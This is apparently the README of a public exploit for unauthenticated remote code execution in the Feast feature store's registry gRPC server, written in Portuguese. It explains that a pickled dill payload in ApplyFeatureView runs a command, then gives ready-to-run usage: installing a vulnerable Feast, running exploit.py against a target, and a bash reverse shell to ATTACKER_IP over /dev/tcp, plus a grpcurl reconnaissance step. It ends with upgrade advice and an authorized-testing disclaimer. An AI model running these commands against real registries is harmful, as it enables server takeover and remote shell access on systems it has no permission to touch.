
Execução remota de código não autenticada no servidor gRPC do registry do feature store Feast.
A RPC ApplyFeatureView reconstrói um OnDemandFeatureView a partir do proto da requisição. Ao fazer isso, ela decodifica em base64 spec.user_defined_function.body e o passa para dill.loads() — antes de qualquer verificação de autorização. dill é um superconjunto de pickle, portanto um objeto cujo __reduce__ retorna (os.system, (cmd,)) executa um comando arbitrário no momento em que o servidor o desserializa. A implantação padrão vem com auth: no_auth, então basta uma única requisição gRPC não autenticada para a porta do registry.
< 0.63.00.63.06570 (registry gRPC)O exploit reutiliza os protos gRPC gerados pelo próprio Feast, portanto instale uma versão vulnerável do Feast no lado do atacante:
python3 -m venv venv && . venv/bin/activate
pip install "feast==0.62.0" grpcio
# quick check (output appears on the SERVER, not locally)
python3 exploit.py 10.10.10.10:6570 -c "id"
# reverse shell (bash -c wrapper: os.system uses /bin/sh, which lacks /dev/tcp)
python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"'
-p/--project define o nome do projeto (padrão feature_repo). A saída do comando é exibida no stdout/journal do host do registry; portanto, use um reverse shell ou grave em um caminho legível para observar os resultados.
O registry tem a reflexão gRPC habilitada:
grpcurl -plaintext 10.10.10.10:6570 list
# feast.registry.RegistryServer
# grpc.health.v1.Health
# grpc.reflection.v1alpha.ServerReflection
Atualize para Feast 0.63.0+, habilite um backend de autenticação e nunca exponha a porta gRPC do registry a redes não confiáveis.
Somente para testes de segurança autorizados e fins educacionais. Use-o apenas contra sistemas que você possui ou para os quais tem permissão explícita para testar.